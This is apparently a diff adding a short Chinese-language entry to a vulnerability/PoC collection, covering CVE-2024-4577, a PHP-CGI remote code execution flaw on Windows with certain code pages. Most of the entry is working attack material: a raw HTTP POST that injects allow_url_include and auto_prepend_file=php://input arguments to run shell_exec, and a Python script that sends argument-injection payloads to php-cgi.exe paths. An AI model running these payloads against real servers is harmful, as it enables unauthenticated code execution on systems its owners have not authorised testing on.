6.7更新漏洞

PHP-CGI-Windows平台远程代码执行漏洞(CVE-2024-4577).md

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+## PHP-CGI-Windows平台远程代码执行漏洞(CVE-2024-4577)
+
+PHP 在设计时忽略 Windows 中对字符转换的Best-Fit 特性，当 PHP-CGI 运行在Window平台且使用了如下语系（简体中文936/繁体中文950/日文932等）时，攻击者可构造恶意请求绕过 CVE-2012-1823 补丁，从而可在无需登陆的情况下执行任意PHP代码。
+
+## poc
+
+```
+POST /index.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
+Host: 
+Content-Type: application/x-www-form-urlencoded
+ 
+<?php echo shell_exec("dir"); ?>
+```
+
+```python
+import requests
+
+def test_cgi_vulnerability(url):
+    payloads = [
+        '/cgi-bin/php-cgi.exe?arg=%0aContent-Type:%20text/plain%0a%0a<?php%20echo%20"test";?>',
+        '/php-cgi/php-cgi.exe?arg=%0aContent-Type:%20text/plain%0a%0a<?php%20echo%20"test";?>'
+    ]
+    
+    for payload in payloads:
+        test_url = f"{url}{payload}"
+        try:
+            response = requests.get(test_url)
+            if "test" in response.text:
+                print(f"Potential vulnerability detected at: {test_url}")
+            else:
+                print(f"No vulnerability detected at: {test_url}")
+        except Exception as e:
+            print(f"Error testing {test_url}: {e}")
+
+if __name__ == "__main__":
+    url = input("Enter the URL to test (e.g., http://example.com): ")
+    test_cgi_vulnerability(url)
+```
+